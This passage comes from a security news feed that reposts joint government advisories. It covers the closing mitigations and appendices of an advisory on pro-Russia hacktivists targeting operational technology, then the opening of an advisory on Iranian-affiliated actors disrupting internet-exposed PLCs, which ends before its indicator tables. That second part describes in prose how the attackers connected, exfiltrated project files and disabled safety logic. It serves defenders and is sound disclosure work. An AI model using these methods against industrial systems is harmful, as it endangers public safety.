<li>Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IncidentPlanningandPreparedness6A" title="CPG 6.A">CPG 6.A</a>].</li>
<li>Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainSystemBackupsRestorationAbility3O" title="CPG 3.O">CPG 3.O</a>].</li>
</ul>
</li>
<li><strong>Collect and monitor the traffic of OT assets and networking devices.</strong> This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.</li>
<li><strong>Review configurations for setpoint ranges or tag values </strong>to stay within safe ranges and establish alerting for deviations.</li>
<li><strong>Take a proactive approach in the procurement process</strong> by following the guidance outlined in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
</ul>
<h3>OT Device Manufacturers</h3>
<p>Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a>.</p>
<ul>
<li><strong>Eliminate default credentials and require strong passwords.</strong> The use of default credentials is a top weakness threat actors exploit to gain access to systems.</li>
<li><strong>Mandate MFA for privileged users.</strong> Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.</li>
<li><strong>Practice secure by default principles. </strong>OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
<ul>
<li><strong>Include logging at no additional charge.</strong> Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.</li>
</ul>
</li>
<li><strong>Publish Software Bill of Materials (SBOMs).</strong> Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s <a href="https://www.cisa.gov/sbom" title="Software Bill of Materials">SBOM webpage</a> for more information.</li>
</ul>
<p>Additionally, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="Secure by Design Alert">Secure by Design Alert</a> on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&amp;CK techniques described in this advisory.</p>
<p>To start:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to<strong> </strong><a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<p>Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:</p>
<ul>
<li>CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s <a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators">Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</a> offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.</li>
<li>CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on <a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity" title="Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity">Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity</a> that can help organizations protect OT systems from pro-Russia hacktivist activity.</li>
<li>NSA and CISA’s guidance on <a href="https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF" target="_blank" title="Control System Defense: Know the Opponent" data-entity-type="external">Control System Defense: Know the Opponent</a> helps organizations defend OT and ICS assets against malicious cyber activity.</li>
<li>CISA and EPA’s resource page on <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a> to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
<ul>
<li>For additional guidance, see CISA, EPA, and FBI’s fact sheet on <a href="https://www.cisa.gov/resources-tools/resources/top-cyber-actions-securing-water-systems" title="Top Cyber Actions for Securing Water Systems">Top Cyber Actions for Securing Water Systems</a>.</li>
</ul>
</li>
<li>The Food and Ag-ISAC’s best practices on <a href="https://www.idfa.org/wordpress/wp-content/uploads/2023/07/Food-and-Ag-ISAC-Cybersecurity-Guide-2023_IDFA.pdf" target="_blank" title="Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises" data-entity-type="external">Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises</a> provides recommendations to help mitigate against cyber threats.</li>
<li>DOE and National Association of Regulatory Utility Commissioners <a href="https://www.naruc.org/core-sectors/critical-infrastructure-and-cybersecurity/cybersecurity-for-utility-regulators/cybersecurity-baselines/" target="_blank" title="Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)" data-entity-type="external">Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)</a> webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.</li>
</ul>
<p>Additional resources that apply to this advisory include:</p>
<ul>
<li>EPA’s <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector" data-entity-type="external">Cybersecurity for the Water Sector</a> resource page provides organizations with guidance on implementing basic cyber hygiene practices.</li>
<li>CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals">Cross-Sector Cybersecurity Performance Goals</a> enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.</li>
<li>CISA’s <a href="https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords" title="Require Strong Passwords">Require Strong Passwords</a> webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.</li>
<li>CISA, NSA, FBI, EPA, TSA, and international partners’ guidance <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
<li>DOE’s guidance on <a href="https://www.energy.gov/ceser/cyber-informed-engineering" target="_blank" title="Cyber-Informed Engineering" data-entity-type="external">Cyber-Informed Engineering</a> recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.</li>
<li>CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.</li>
<li>CISA, NSA, FBI, and international partners’ guidance on <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a> urges software manufacturers to provide customers with products that are safer and more secure.
<ul>
<li>See more information in these Secure by Design Alerts: <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="How Manufacturers Can Protect Customers by Eliminating Default Passwords">How Manufacturers Can Protect Customers by Eliminating Default Passwords</a> and <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity">How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity</a>.</li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p><strong>U.S. organizations</strong> are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:</p>
<ul>
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov" title="contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472) or your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office" data-entity-type="external">FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" target="_blank" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
</ul>
<p><strong>Australian organizations:</strong> Visit <a href="https://www.cyber.gov.au/" target="_blank" title="cyber.gov.au" data-entity-type="external">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</p>
<p><strong>Canadian organizations:</strong> Report incidents by emailing Cyber Centre at <a href="mailto:contact@cyber.gc.ca" target="_blank" title="contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p>
<p><strong>New Zealand organizations:</strong> Report cyber security incidents to <a href="mailto:incidents@ncsc.govt.nz" target="_blank" title="incidents@ncsc.govt.nz">incidents@ncsc.govt.nz</a> or call 04 498 7654.</p>
<p><strong>United Kingdom organizations:</strong> Report a significant cyber security incident: <a href="https://report.ncsc.gov.uk/" target="_blank" title="report.ncsc.gov.uk" data-entity-type="external">report.ncsc.gov.uk</a> (monitored 24 hours) or, for urgent assistance, call 03000 200 973.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.</p>
<h2><strong>Version History</strong></h2>
<p><strong>December 09, 2025:</strong> Initial version.</p>
<h2><strong>Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups</strong></h2>
<p>For further information on targeting methodologies for pro-Russia hacktivist groups, see:</p>
<ul>
<li>CISA’s alert <a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology" title="Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology">Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology</a>;</li>
<li>The joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a>; and</li>
<li>CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Cyber Threat">Russia Cyber Threat</a> webpage.</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a></h2>
<p>The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.</p>
<p><strong>Note:</strong> Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.</p>
<ul>
<li>GRU military unit 74455
<ul>
<li>Sandworm Team</li>
<li>Voodoo Bear</li>
<li>Seashell Blizzard</li>
<li>APT44</li>
</ul>
</li>
<li>Cyber Army of Russia Reborn (CARR)
<ul>
<li>CyberArmy of Russia</li>
<li>Народная CyberАрмия (НКА)</li>
<li>People’s CyberArmy of Russia (PCA)</li>
<li>Russian CyberArmy Team (RCAT)</li>
</ul>
</li>
<li>NoName057(16)
<ul>
<li>NoName057(16) Spain</li>
<li>NoName057(16) Italy</li>
<li>NoName057(16) France</li>
</ul>
</li>
<li>Z-Pentest
<ul>
<li>Z-Pentest Beograd</li>
<li>Z-Pentest Alliance</li>
<li>Z-Alliance</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure]]></title>
<description><![CDATA[Advisory at a Glance



Title
Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure


Original Publication
April 7, 2026


Last Update 
July 22, 2026


Executive Summary
The authoring agencies urgently warn U.S. organizations of ongoing Iranian-a...]]></description>
<link>https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:12:34 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Advisory at a Glance</strong></h2>
<table>
<tbody>
<tr>
<th>Title</th>
<td>Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</td>
</tr>
<tr>
<th>Original Publication</th>
<td><strong>April 7, 2026</strong></td>
</tr>
<tr>
<th>Last Update </th>
<td><strong>July 22, 2026</strong></td>
</tr>
<tr>
<th>Executive Summary</th>
<td>The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.</td>
</tr>
<tr>
<th>Last Update Description</th>
<td>This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.</td>
</tr>
<tr>
<th>Affected Products</th>
<td>Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.</td>
</tr>
<tr>
<th>Key Actions</th>
<td>
<ul type="square">
<li>Install PLCs consistent with manufacturers' guidelines and security best practices.</li>
<li>Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.</li>
<li>Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, especially traffic originating from foreign hosting providers.</li>
<li>For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.</li>
</ul>
</td>
</tr>
<tr>
<th>Indicators of Compromise</th>
<td>
<p>For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (July 2026) (29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (July 2026) (30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" title="AA26-097A STIX XML">AA26-097A STIX XML</a> (36 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" title="AA26-097A STIX JSON">AA26-097A STIX JSON</a> (12 KB)<br> </li>
</ul>
</td>
</tr>
<tr>
<th>Intended Audience</th>
<td>
<p><strong>Organizations:</strong> Critical Infrastructure</p>
<p><strong>Sectors: </strong><a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> </p>
<p><strong>Roles: </strong>Integrators, asset owners, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/defensive-cybersecurity" title="Defensive cybersecurity analysts">defensive cybersecurity analysts</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/operational-technology-ot-cybersecurity-engineering" title="OT cybersecurity engineers">OT cybersecurity engineers</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/cybersecurity-architecture" title="cybersecurity architects">cybersecurity architects</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/secure-systems-development" title="secure systems developer">secure systems developer</a></p>
</td>
</tr>
</tbody>
</table>
<h2><strong>Introduction</strong></h2>
<p><strong>Note:</strong><em> This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by</em> <em>Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.</em></p>
<p>The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files<a href="https://www.cisa.gov/#Note1"><sup>1</sup></a> and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.</p>
<p>The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a> (to include local municipalities), <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors. The authoring agencies previously reported on similar activity targeting PLCs by <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="CyberAv3ngers">CyberAv3ngers</a> (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).</p>
<p>Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the <a href="https://www.cisa.gov/#Mitigations"><strong>Mitigations</strong></a> section of this advisory to reduce the risk of compromise.</p>
<p>If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see <a href="https://www.cisa.gov/#Contact"><strong>Contact Information</strong></a>) to receive support, mitigation, and investigation assistance.</p>
<p>For more information on Iranian malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a> webpage and the FBI’s <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="Iran Threat">Iran Threat</a> and Iran <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Iran Cyber Threat">Cyber Threat Overview</a> webpages.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-07/aa26-097a-iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure_508c.pdf" class="c-file__link" target="_blank">Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.09 MB
  )</span>
  </div>
</div>
<p><em><strong>(New, July 22, 2026)</strong></em> For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul type="square">
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (XML, 29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (JSON, 30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" class="c-file__link" target="_blank">AA26-097A.stix_.xml</a>
    <span class="c-file__size">(XML,       35.97 KB
  )</span>
  </div>
</div>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" class="c-file__link" target="_blank">AA26-097A.stix_.json</a>
    <span class="c-file__size">(JSON,       11.87 KB
  )</span>
  </div>
</div>
<h2><strong>Background Information</strong></h2>
<h3><strong>Similar Historical Activity Targeting Programmable Logic Controllers</strong></h3>
<p>During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.</p>
<p>For more information on this group’s activity, see the joint Cybersecurity Advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>.</p>
<h3><strong>Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers</strong></h3>
<p>The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.</p>
<p><em><strong>(New, July 22, 2026) </strong></em>At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.</p>
<p>Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">WWS</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank" title="MITRE ATTACK Matrix for Enterprise">MITRE ATT&amp;CK<sup>®</sup> Matrix for Enterprise</a> framework, version 19. See the <a href="https://www.cisa.gov/#MITRE"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>Initial Access</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [<a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0883">T0883</a>]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, as well as targeting modems on port <code>22</code>. Targeted devices include:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> CompactLogix and Micro850 PLCs</li>
<li><strong>Schneider Electric:</strong> BMX P34/Modicon M340 PLCs</li>
<li><strong>Siemens:</strong> S7-1200 series PLCs</li>
</ul>
<h3><strong>Command and Control</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The targeting of ports [<a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a>] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port <code>22</code> [<a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a>].</p>
<h3><strong>Exfiltration</strong></h3>
<p><em><strong>(New, July 22, 2026) </strong></em>The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [<a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a>].</p>
<h3><strong>Impact</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [<a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a>]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.</p>
<p><strong>Note:</strong> An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.</p>
<h2><strong>Indicators of Compromise</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#Table2"><strong>Table 2</strong></a> for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.</p>
